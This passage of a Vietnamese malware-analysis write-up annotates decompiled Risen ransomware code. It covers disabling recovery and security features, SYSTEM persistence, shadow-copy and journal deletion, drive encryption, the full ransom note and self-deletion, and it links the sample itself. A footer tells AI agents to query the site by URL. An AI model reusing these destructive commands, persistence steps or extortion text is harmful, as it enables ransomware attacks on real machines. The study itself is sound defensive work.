  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\WinRE\" /v \"DisableSetup\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Client\" /v \"DisableBackupLaunch"
   "er\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Client\" /v \"DisableRestoreUI\" "
   "/t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Client\" /v \"DisableSystemBackup"
   "UI\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Client\" /v \"DisableBackupUI\" /"
   "t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"DisableTaskM"
   "gr\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v \"NoRun\" /t"
   " REG_DWORD /d 1 /f");
*(_DWORD *)Data = 0;
```

Đoạn code thực hiện một loạt các hành động để vô hiệu hóa Windows defender và các tính năng bảo mật: thay đổi registry để tắt Window Defender, real-time protection, gửi mẫu tự động, và thông báo. Và vô hiệu hóa các tính năng của hệ thống như: tắt các tính năng như System Restore, Window backup, thay đổi mật khẩu, khóa máy, log off, run, task manager, và các nut đóng cửa sổ.

Chúng thực thi các câu lệnh trên `cmd.exe`.

```cpp
// Cố gắng tạo (hoặc mở nếu đã tồn tại) registry key:
if ( RegCreateKeyExW(
       HKEY_LOCAL_MACHINE,
       L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
       0,
       0,
       0,
       0xF003Fu,
       0,
       &phkResult,
       &dwDisposition) )
{
  if ( value_start )
  {
    LastError = GetLastError();
    LogWithTimestamp(L"reg Open Key ERROR ,GetLastError : %lu .", LastError);
  }
}
else  // Nếu tạo/mở key thành công:
{
  if ( value_start )
    LogWithTimestamp(L"reg Open Key Success.");
  
  // Thiết lập giá trị "EnableLUA" cho key.
  if ( RegSetValueExW(phkResult, L"EnableLUA", 0, 4u, Data, 4u) )
  {
    if ( value_start )
      LogWithTimestamp(L"reg LinkedConnection value set ERROR.");
  }
  else if ( value_start )
  {
    LogWithTimestamp(L"reg LinkedConnection value set successfully.");
  }
  
  //Thiết lập "EnableLinkedConnections"
  *(_DWORD *)Data = 1;
  if ( RegSetValueExW(phkResult, L"EnableLinkedConnections", 0, 4u, Data, 4u) )
  {
    if ( value_start )
    {
      v27 = GetLastError();
      LogWithTimestamp(L"reg EnableLUA value set ERROR ,GetLastError : %lu .", v27);
    }
  }
  else if ( value_start )
  {
    LogWithTimestamp(L"reg EnableLUA value set successfully.");
  }
}
RegCloseKey(phkResult); // đóng 1 handle đến registry key đã mở
```

```cpp
// Gọi hàm RefreshPolicyEx để cập nhật Group Policy.
if ( RefreshPolicyEx(1, 1u) )
  {
    if ( value_start )
      LogWithTimestamp(L"Group Policy Update Successfully.");
  }
  else if ( value_start )
  {
    v7 = GetLastError();
    LogWithTimestamp(L"Group Policy Refresh Failed ,GetLastError : %lu .", v7);
  }
```

```cpp
    // Lấy đường dẫn đầy đủ của file thực thi hiện tại và lưu vào Filename.
    GetModuleFileNameW(0, Filename, 0x1C2u);
    if ( value_start )
      LogWithTimestamp(L"Set StartUp");
    
    // Tạo lệnh để thêm một scheduled task (lập lịch tác vụ) khởi chạy cùng với hệ thống.
    wsprintfW(
      v41,
      L"/c SCHTASKS.exe /Create /RU \"NT AUTHORITY\\SYSTEM\" /sc onstart /TN \"SystemDefense\" /TR \"%s\" /F",
      Filename);
    ExecuteHiddenCmdWithWow64RedirectionHandling(v41);
    if ( value_start )
      LogWithTimestamp(L"Deleting shadows");
    
    // Gọi hàm xóa shadow copies (bản sao lưu) (đã phân tích trước).
    DelShadows();
    if ( value_start )
      LogWithTimestamp(L"stop services");
    ((void (*)(void))KillService)(); // Gọi hàm dừng các service (đã phân tích trước).
    
    // Tạo ransom note (ghi nội dung tống tiền ra file).
    FixedPrintf((int)&unk_456DC0, (int)aDoctypeHtmlHtm, (int)aDectokyoOnionm);
    FixedPrintf(
      (int)&unk_45FDF8,
      (int)L"RisenNote :\n"
            "\n"
            "\n"
            "Read this text file carefully.\n"
            "\n"
            "We have penetrated your whole network due some critical security issues.\n"
            "\n"
            "We have encrypted all of your files on each host in the network within strong algorithm.\n"
            "\n"
            "We have also Took your critical data such as docs, images, engineering data, accounting data, customers and "
            "...\n"
            "\tAnd trust me, we exactly know what should we collect in case of NO corporation until the end of the deadli"
            "ne we WILL leak or sell your data,\n"
            "\tthe only way to stop this process is successful corporation.\n"
            "\n"
            "We have monitored your Backup plans for a whileand they are completely out of access(encrypted)\n"
            "\n"
            "The only situation for recovering your files is our decryptor,\n"
            "\tthere are many middle man services out there whom will contact us for your caseand add an amount of money "
            "on the FIXED price that we gave to them,\n"
            "\tso be aware of them.\n"
            "\n"
            "Remember, you can send Upto 3 test files for decrypting, before making payment,\n"
            "\twe highly recommend to get test files to prevent possible scams.\n"
            "\n"
            "In order to contact us you can either use following email :\n"
            "\n"
            "Email address : %s\n"
            "\n"
            "Or If you weren't able to contact us whitin 24 hours please Email : %s\n"
            "\n"
            "Leave subject as your machine id : %s\n"
            "\n"
            "If you didn't get any respond within 72 hours use our blog to contact us, \n"
            "therefore we can create another way for you to contact your cryptor as soon as possible.\n"
            " BLOG : %s",
      (int)aDectokyoOnionm);
    
    // Ẩn phân vùng 
    if ( HidePartitions() == 1 && value_start )
      LogWithTimestamp(L"Load Hidden Drives Successfully.");
    
    //chương trình đang cố gắng khởi tạo một cơ chế queue (hàng đợi) để xử lý các tác vụ một cách tuần tự,
    // hoặc để giao tiếp giữa các thread. Việc truy cập và thao tác với queue được bảo vệ thông qua critical section.
    if ( !InitQue() && value_start )
      LogWithTimestamp(L"Initialize Queue Failed.");
```

```cpp
//Lấy thông tin hệ thống (số lượng bộ xử lý, kiến trúc, v.v.).
GetSystemInfo(&SystemInfo); 

// Xác định số lượng worker threads cần tạo, dựa vào số lượng bộ xử lý
if ( dword_45FA6C )
{
  v8 = 1;
}
else if ( SystemInfo.dwNumberOfProcessors > 2 )
{
  v8 = 3 * SystemInfo.dwNumberOfProcessors;
}
else
{
  v8 = 2 * SystemInfo.dwNumberOfProcessors;
}
nCount = v8; // Số lượng worker threads.
if ( value_start )
  LogWithTimestamp(L"Max Worker Set : %d", v8);
v9 = 0;
for ( lpMem = (HANDLE *)AllocateSizePlus64((void *)(4 * v8)); v9 < v8; ++v9 )
{
  // bắt đầu thực hiện 1 thread mới.
  Thread = CreateThread(0, 0, StartAddress, 0, 0, 0);
  lpMem[v9] = Thread; // Lưu handle của thread mới tạo vao mảng.
  if ( !Thread && value_start )
    LogWithTimestamp(L"Failed to create thread %d", v9);
}
if ( value_start )
  LogWithTimestamp(L"main Start Encrypt"); // xong trên thì log lại bắt đầu mã hóa
```

```cpp
v11 = GetDriveTypeW;
v12 = (LPCWSTR *)off_44CB08; // con trỏ đến danh sách các tên ổ đĩa
v13 = 26; // số lượng ổ đĩa kiểm tra
do
{
  // Kiểm tra các ổ đĩa không phải loại 1 (DRIVE_NO_ROOT_DIR) và không phải loại 5 (DRIVE_CDROM).
  if ( GetDriveTypeW(*v12) != 1 && GetDriveTypeW(*v12) != 5 )
  {
    if ( dword_45FA6C )
    {
      ProcessDirectory(*v12); // duyệt qua tất cả các file và thư mục con trong ổ đĩa, kèm theo copy file quan trọng vào tất cả các phân vùng
    }
    else
    {
      // Dựng thread cho mỗi volume, mã hoá nhiều ổ cung 1 lúc
      ((void (__cdecl *)(LPCWSTR *))CreateAndAssignPair)(v12);
      v46 = 0;
      ((void (__usercall *)(_Thrd_imp_t *@<ecx>, int, int))thread_create_and_wait)(&hObject, v29, v30);
      if ( Block )
        FreeBase(Block);
      v46 = 1;
      if ( !hObject._Id )
        std::_Throw_Cpp_error(1);
      v14 = unknown_libname_5(hObject._Hnd);
      if ( v14 )
        std::_Throw_C_error(v14);
      hObject._Hnd = 0;
      hObject._Id = 0;
      v46 = -1;
    }
    
    //Log ổ đĩa
    if ( value_start )
    {
      DriveTypeW = GetDriveTypeW(*v12);
      LogWithTimestamp(L"Drive %s Type : %d ", *v12, DriveTypeW);
    }
  }
  ++v12; // Chuyển sang ổ đĩa tiếp theo.
  --v13;
}
while ( v13 );
if ( value_start )
  LogWithTimestamp(L"main WaitForWorker");
WaitForAndCloseWorkers(lpMem, nCount);
if ( value_start )
  LogWithTimestamp(L"Encrypt Complete , Delete Journals");
```

Tiếp theo đó là xóa USN Journal vì đây là các file nhật ký.

```cpp
for ( i = 0; i < 26; ++i )
{
  if ( v11(list_drive[i]) != 1 && v11(list_drive[i]) != 5 )
  {
    v45[0] = *(_OWORD *)L"/c fsutil usn deletejournal /D ";
    memset(&v45[2], 0, 0x1C0u);
    v19 = list_drive[i];
    v20 = v19;
    while ( *v19++ )
      ;
    v22 = (char *)v19 - (char *)v20;
    v23 = &v44;
    do
    {
      v24 = v23[1];
      ++v23;
    }
    while ( v24 );
    qmemcpy(v23, v20, v22);
    ExecuteHiddenCmdWithWow64RedirectionHandling((const WCHAR *)v45);
    v11 = GetDriveTypeW;
  }
}
```

Ta thấy lệnh `fsutil usn deletejournal /D` được cộng tuần tự từng ổ đĩa một -> sẽ xóa USN Journal trên từng phân vùng.

```cpp
for ( j = 0; j < 5; ++j )
  ExecuteHiddenCmdWithWow64RedirectionHandling(off_43D248[j]);
for ( k = 0; k < 6; ++k )
  ExecuteHiddenCmdWithWow64RedirectionHandling(off_43D230[k]);

// Xóa scheduled task.
ExecuteHiddenCmdWithWow64RedirectionHandling(L"/c SCHTASKS.exe /Delete /TN \"SystemDefense\" /F");

// BẬT Task Manager
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"DisableTaskM"
   "gr\" /t REG_DWORD /d 0 /f");

// BẬT  Run Dialog Box .
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v \"NoRun\" /t"
   " REG_DWORD /d 0 /f");
```

<figure><img src="/files/CNlqONjokRb8yTrVyVwV" alt=""><figcaption></figcaption></figure>

Dựa trên đó ta thấy ransomware này đang xóa các log của hệ thống.

<figure><img src="/files/9GNNpdtujtNbXycQHMbC" alt=""><figcaption></figcaption></figure>

{% code lineNumbers="true" %}

```
cmd.exe /c bcdedit /set {default} recoveryenabled No
cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
cmd.exe /c fsutil.exe usn deletejournal /D C:
cmd.exe /c wbadmin.exe delete catalog -quiet
cmd.exe /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
```

{% endcode %}

Các lệnh trên là các lệnh Windows Command Line (cmd.exe) được sử dụng để tắt hoặc vô hiệu hóa các tính năng khôi phục và quản lý hệ thống khác nhau.

Lệnh 1 thực hiện việc xóa tất cả các bản sao bóng (shadow copies) hiện có trên hệ thống bằng cách sử dụng công cụ `vssadmin.exe`.

```cpp
// Thay đổi hình nền desktop thành hình ảnh
SystemParametersInfoW(0x14u, 0, (PVOID)L"C:\\ProgramData\\RisenBackGround.JPG", 1u);
do
  v27 = (WCHAR *)HeapAlloc(hHeap, 8u, 0x810u);
while ( !v27 );

// Thêm/Sửa giá trị registry "legalnoticecaption" để hiển thị tiêu đề "WELCOME" tại màn hình đăng nhập
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"legalnotice"
   "caption\" /t REG_SZ /d \"WELCOME  \" /f");

// Khởi tạo chuỗi thông báo tống tiền và lưu vào v27
lstrcpyW(
  v27,
  L"/c REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"legalnotice"
   "text\" /t REG_SZ /d \" We have penetrated your whole network due some critical security issues.  We have encrypte"
   "d all files on each host in the network , We have also Took your critical data AND in case of NO corporation unti"
   "l the end of the deadline we WILL leak or sell your data, the only way to stop this process is successful corporation.   (");
lstrcatW(v27, aDectokyoOnionm);
lstrcatW(v27, L")  AND  :(");
lstrcatW(v27, aDectokyoCockLi);
lstrcatW(v27, L")  \" /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(v27);
HeapFree(hHeap, 0, v27);

// Kết thúc tất cả tiến trình "mshta.exe"
ExecuteHiddenCmdWithWow64RedirectionHandling(L"/c taskkill /IM mshta.exe /f");

// Mở file "C:\\ProgramData\\$Risen_Note.txt" bằng Notepad.
ExecuteHiddenCmdWithWow64RedirectionHandling(L"/c notepad.exe C:\\ProgramData\\$Risen_Note.txt");

// Chạy file "C:\\ProgramData\\$Risen_Guide.hta"
ExecuteHiddenCmdWithWow64RedirectionHandling(L"/c C:\\ProgramData\\$Risen_Guide.hta");
ReleaseMutex(hMutex); // Giải phóng mutex.
GetModuleFileNameW(0, v42, 0x1C2u); // Lấy đường dẫn của file thực thi hiện tại.

// Lệnh này sẽ tạm dừng trong 5 giây bằng cách ping loopback, 
// sau đó cố gắng xóa chính tệp chương trình đang chạy.
wsprintfW(Parameters, L"/c ping 127.0.0.1 -n 5 > nul & del \"%s\"", v42);
ShellExecuteW(0, L"open", L"cmd.exe", Parameters, 0, 0);
}
else if ( value_start )
{
LogWithTimestamp(L"initialize KeyPairs And ID Failed. Contact Administrator");
}
return 0;
}
```

Và xong con mã độc tống tiền này nhé...

Dưới 2 file, file đầu tiên là mẫu risen ransomware nguồn từ letsdefend, file 2 là những gì phân tích trên IDA.....

{% file src="/files/W2wnDwBI8H33F32WfmGg" %}

{% file src="/files/aARS5XuCpcHmnwuXaRvU" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viettaliii.gitbook.io/home/ctf/write-up/risen-ransomware.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
